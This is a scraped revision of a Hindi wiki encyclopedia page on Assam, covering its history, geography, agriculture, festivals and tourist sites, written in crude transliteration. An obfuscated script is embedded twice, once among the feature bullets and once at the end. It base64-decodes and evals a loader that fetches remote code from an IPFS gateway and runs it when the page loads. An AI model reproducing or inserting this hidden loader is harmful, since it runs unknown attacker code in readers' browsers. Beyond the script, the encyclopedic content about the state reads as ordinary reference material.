Difference between revisions of "असम"
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|विधान सभा सदस्य संख्या=126 <ref name="up"/> | |विधान सभा सदस्य संख्या=126 <ref name="up"/> | ||
|बाहरी कड़ियाँ=[http://assamgovt.nic.in/ अधिकारिक वेबसाइट] | |बाहरी कड़ियाँ=[http://assamgovt.nic.in/ अधिकारिक वेबसाइट] | ||
| − | |अद्यतन= | + | |अद्यतन= |
|emblem=Assam-Logo.png | |emblem=Assam-Logo.png | ||
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{{राज्य और के. शा. प्र.}} | {{राज्य और के. शा. प्र.}} | ||
{{भारत गणराज्य}}{{राज्य और के. शा. प्र.2}} | {{भारत गणराज्य}}{{राज्य और के. शा. प्र.2}} | ||
| − | [[Category:असम]] | + | [[Category:असम]][[Category:अद्यतन]] |
[[Category:भारत के राज्य और केन्द्र शासित प्रदेश]][[Category:राज्य संरचना]] | [[Category:भारत के राज्य और केन्द्र शासित प्रदेश]][[Category:राज्य संरचना]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ | ||
Revision as of 11:50, 26 May 2011
asam
| |
| rajadhani | disapur |
| rajabhasha(ean) | asamiya bhasha, bodo bhasha, karbi bhasha |
| sthapana | 15 agast, 1947 |
| janasankhya | 26,655,528 [1] |
| · ghanatv | 340 / varg kimi /varg kimi |
| kshetraphal | 78,438 varg kimi |
| bhaugolik nirdeshaank | 26°09′N 91°46′E |
| jalavayu | ushnakatibandhiy |
| tapaman | ausat 23 °C |
| · grishm | 38 °C |
| · sharad | 8 °C |
| zile | 27 [1] |
| sabase b da nagar | guvahati |
| mukhy paryatan sthal | kajiranga rashtriy udyan, kamakhya pith, bhimashankar jyotirliang |
| liang anupat | 1000 : 965 ♂/♀ |
| saksharata | 64.28 [1]% |
| · stri | 54.60% |
| · purush | 71.30% |
| rajyapal | janaki ballabh patanayak |
| mukhyamantri | tarun gogoee |
| vidhanasabha sadasy | 126 [1] |
| bahari k diyaan | adhikarik vebasait |
- asam ya asam uttar poorvi bharat mean ek rajy hai.
- asam any uttar poorvi bharatiy rajyoan se ghira hua hai.
- asam bharat ka ek sarahadi rajy hai.
- bharat-bhootan aur bharat-baangladesh sarahad kuchh hissoan mean asam se judi hai.
- yahaan par kapili nadi aur brahmaputr nadi bhi bahati hai.
itihas aur bhoogol
vidvanoan ka mat hai ki 'asam' shabd sanskrit ke 'asoma' shabd se bana hai, jisaka arth hota hai anupam ya advitiy. kintu adhikatar vidvanoan ka manana hai ki yah shabd mool roop se 'ahom' se bana hai. british shasan mean jab is rajy ka vilay kiya gaya usase pahale lagabhag chhah sau varsh tak is rajy par 'ahom' rajaoan ka shasan raha tha. astrik, mangoliyan, dravi d aur ary jaisi vibhinn jatiyaan prachin samay se is pradesh ki pahadiyoan aur ghatiyoan mean alag alag samay par akar rahian aur bas gayian jisaka yahaan ki mishrit sanskriti mean bahut gahara prabhav p da. [[chitr:View-Of-Assam.jpg|thumb|250px|left|asam ke chay ke bagan mean l dakiyaan]] is rajy ke vikas mean in sabhi jatiyoan ne apana yogadan diya. is prakar asam rajy mean sanskriti aur sabhyata ki ek prachin aur samriddh paranpara rahi hai.
prachin samay mean yah rajy 'pragjyotish' arthat 'poorvi jyotish ka sthan' kahalata tha. kalantar mean isaka nam 'kamaroop' p d gaya. kamaroop rajy ka sabase purana udaharan ilahabad mean samudragupt ke shilalekh se milata hai. is shilalekh mean kamaroop ka vivaran aise simavarti desh ke roop mean milata hai, jo gupt samrajy ke adhin tha aur gupt samrajy ke sath is rajy ke maitripoorn sanbandh the. chin ke vidvan yatri hvenasaang lagabhag 743 eesvi mean raja kumarabhaskar varman ke nimantran par kamaroop mean aya tha. hvenasaang ne kamaroop ka ullekh 'kamolupa' ke roop mean kiya hai. 11vian shatabdi ke arab itihasakar alabarooni ki pustak mean bhi 'kamaroop' ka vivaran prapt hota hai. is prakar prachin kal se lekar 12vian shatabdi eesvi tak samast aryavart mean poorvi simaant desh ko 'pragjyotish' aur 'kamaroop' ke nam se jana jata tha aur yahaan ke naresh svayan ko 'pragjyotish naresh' kahalaya karate the.
san 1228 mean poorvi pahadiyoan par 'ahom' logoan ke ane se itihas mean mo d aya. unhoanne lagabhag chhah sau varshoan tak asam rajy par shasan kiya. 1819 mean badanachandr ki hatya ke bad sanh 1826 mean yah rajy british sarakar ke adhikar mean a gaya. is samay 'barmi' logoan ne 'yandaboo sandhi' ko manakar asam ko british sarakar ko sauanp diya tha.
asam poorvottar disha mean bharat ka prahari hai aur poorvottar rajyoan ka praveshadvar bhi hai. yah bhootan aur baangala desh se lagi huee bharat ki aantararashtriy simaoan ke pas hai. asam ki uttar disha mean bhootan aur arunachal pradesh, poorv disha mean manipur, nagalaiand aur arunachal pradesh aur dakshini disha mean meghalay, mizoram aur tripura rajy haian. asam ke prasiddh rashtriy neta kuladhar chaliha ka janm 1886 ee. mean asam ke shivasagar namak sthan mean rayabahadur phanidhar chaliha ke ghar mean hua tha.
thumb|250px|left|telashodhak karakhana, asam
Oil Refinery, Assam
krishi
asam rajy ek krishi pradhan rajy hai. krishi yahaan ki arthavyavastha ka pramukh adhar hai. chaval is rajy ki mukhy khady fasal hai aur joot, chay, kapas, tilahan, ganna aur aloo adi yahaan ki nakadi fasalean haian. rajy ki pramukh bagavani fasalean santara, kela, anannas, supari, nariyal, amarood, am, katahal aur niboo adi haian. in sabhi ki kheti chhote star par ki jati hai. is rajy mean lagabhag 39.44 lakh hektayar bhoomi kul kheti yogy bhoomi hai. isamean se qarib 27.01 lakh hekteyar kshetr mean hi kheti ki jati hai.
visheshataean
- asam apane jiv-jantuoan aur vanaspatiyoan ke lie bahut prasiddh hai. van sanpada kul kshetraphal ka 22.21 pratishat hai.
- rajy mean paanch rashtriy park aur 11 vanyajiv abhayarany aur pakshi vihar haian. kajiranga rashtriy udyan aur manas bagh pariyojana (rashtriy udyan) 'ek siang vale gaiandoan' aur 'r aauyal bangal taigar' ke lie poore vishv mean prasiddh hai.
- asam mean krishi par adharit udyogoan mean chay ka pramukh sthan hai.
- rajy mean chhah audyogik vikas keandr haian.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- rajy mean char 'telashodhak karakhane' (rifainari) kam kar rahi haian.
- kala aur hastashilp se sambandhit kutir udyogoan ke lie asam sadaiv vikhyat raha hai. hathakaragha, resham, beant aur baans ki vastuean, galichoan ki bunaee, kashth shilp, pital adi dhatuoan ke shilp pramukh kutir udyog haian. asam mean vibhinn prakar ka resham - eandi, mooanga, tasar adi ka utpadan hota hai. mooanga namak resham ki kism ka utpadan vishv bhar mean sirf asam mean hi hota hai.
- nagarik vimanoan ki niyamit u danean gopinath ba dadolaee havaee adda (guvahati), saloniba di (tejapur), mohanaba di (uttari lakhimapur), kuanbhiragram (silachar), aur rovariyah (jorahat) se hoti haian.
- asam mean anek rangarang tyohar manae jate haian. 'bihoo' asam ka mukhy parv hai. yah varsh mean tin bar manaya jata hai- 'rangali bihoo' ya 'bohag bihoo' fasal ki buaee ki shurooat ka pratik hai. isi se ne varsh ka shubharanbh bhi hota hai. 'bhogali bihoo' ya 'magh bihoo' fasal ki kataee ka tyohar hai aur 'kati bihoo' ya 'kaangali bihoo' sharad rritu ka ek mela hai.
[[chitr:Assam-Handicrafts.jpg|thumb|250px|left|asam mean kala aur hastashilp]]
- lagabhag sabhi tyohar dharmik karanoan se manae jate haian. vaishnav log pramukh vaishnav santoan ki jayanti tatha punyatithi par bhajan gate haian aur paranparagat naty shaili mean 'bhavana' namak natakoan ka manchan karate haian. kamakhya mandir mean aanbubashi aur umananda tatha shiv mandiroan ke pas any sthanoan par shivaratri mela, dipavali, ashok ashtami mela, paush mela, parashuram mela, aanbukashi mela, dol-jatra, eed, krisamas aur durga pooja, adi dharmik tyohar rajy bhar mean shraddha ke sath manae jate haian.
- guvahati mean tatha usake asapas pramukh paryatan sthaloan mean kamakhya mandir, umananda (mayooradvip), navagrah mandir vashishth ashram, dolagobiand, gaandhi mandap, rajy ka chidiyaghar, rajy sangrahalay, shukreshvar mandir, gita mandir, puratattv ki drishti se mahattvapoorn madan kamadev mandir aur sarayaghat pul adi prasiddh haian.
- any darshaniy sthal haian -
- kajiranga ratriy park (ek siang vale gaiandoan ke lie prasiddh)
- manas bagh pariyojana, pobitora aur orang (vanyajiv udyan)
- shivasagar (shiv mandi, rangaghar,kareangaghar)
- tejapur (bhairavi mandir aur ramanik sathan)
- bhalukapuang (aangaliang), h aauphalaang (svasthyaprad sthan aur jatianga pahadiyaan)
[[chitr:Bihu-Dance-Assam.jpg|250px|bihoo nrity, asam
Bihu Dance, Assam|thumb]]
- majuli (vishv ka sabase b da nadi dvip)
- chandubi jhil (pikanik sthal)
- hajo (bauddh, hindoo aur islam)
- batadrav (mahan vaishnav sant shankaradev ki janmabhoomi)
- ar sualakoochi (resham udyog ke lie prasiddh).
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vithika
- chitr:Guwahati-Stadium-Assam.jpg
guvahati ke stediyam
- chitr:Kaziranga-National-Park-Assam.jpg
kajiranga rashtriy udyan mean ek siang vala gaianda
- chitr:Brahma-Mandir-Kokrajhar.jpg
brahm mandir, kokarajha d, asam
- chitr:Brahmaputra-river-Assam.jpg
brahmaputr nadi, asam
- chitr:Kamakhya-Temple-Gauwahati.jpg
- chitr:Sivadol-Temple-Sibsagar.jpg
shivadol mandir, shivasagar
tika tippani aur sandarbh
sanbandhit lekh
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>